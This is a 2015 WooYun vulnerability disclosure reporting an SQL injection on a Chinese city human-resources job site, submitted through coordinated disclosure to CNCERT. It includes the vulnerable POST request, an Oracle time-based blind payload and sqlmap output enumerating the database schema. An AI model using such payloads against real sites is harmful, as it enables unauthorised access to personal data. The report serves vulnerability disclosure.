当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150936

漏洞标题:某市人力资源网一枚SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-11-01 18:57

修复时间:2015-12-20 14:42

公开时间:2015-12-20 14:42

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-01: 细节已通知厂商并且等待厂商处理中
2015-11-05: 厂商已经确认,细节仅向厂商公开
2015-11-15: 细节向核心白帽子及相关领域专家公开
2015-11-25: 细节向普通白帽子公开
2015-12-05: 细节向实习白帽子公开
2015-12-20: 细节向公众公开

简要描述:

.

详细说明:

http://**.**.**.**/masjyweb/i/onlineInvite/all


POST /masjyweb/i/onlineInvite/all HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://**.**.**.**/masjyweb/i/onlineInvite/all
Cookie: JSESSIONID=298C708D4F698E1563DBA1CB9D68234B; pgv_pvi=2177862656; pgv_si=s9181304832; _gscu_931430362=46295485zyo88e18; _gscs_931430362=46295485y4z4yg18|pv:15; _gscbrs_931430362=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
ecc621_name=%E9%80%89%E6%8B%A9%2F%E4%BF%AE%E6%94%B9&ecc621=&ecc621_in=%E5%AD%A6%E4%B9%A0&aac004=2&aac011=07&acb21i=005&agel=18&ager=27


漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ecc621_in (POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: ecc621_name=%E9%80%89%E6%8B%A9/%E4%BF%AE%E6%94%B9&ecc621=&ecc621_in=%E5%AD%A6%E4%B9%A0%
' AND 6013=DBMS_PIPE.RECEIVE_MESSAGE(CHR(72)||CHR(100)||CHR(67)||CHR(77),5) AND '%'='&aac004=2&aac01
1=07&acb21i=005&agel=18&ager=27
---
[21:07:57] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: Apache 2.2.14
back-end DBMS: Oracle
[21:07:57] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart
to database names on other DBMSes
[21:07:57] [INFO] fetching database (schema) names
[21:07:57] [INFO] fetching number of databases
[21:07:57] [WARNING] time-based comparison requires larger statistical model, please wait...........
...................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
Y
[21:08:04] [WARNING] it is very important not to stress the network adapter during usage of time-bas
ed payloads to prevent potential errors
[21:08:06] [INFO] adjusting time delay to 1 second due to good response times
[21:08:08] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '
--no-cast' or switch '--hex'
[21:08:08] [ERROR] unable to retrieve the number of databases
[21:08:08] [INFO] falling back to current database
[21:08:08] [INFO] fetching current database
[21:08:08] [INFO] resumed: MASJYWEB
[21:08:08] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to
database names on other DBMSes
available databases [1]:
[*] MASJYWEB

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-05 14:40

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无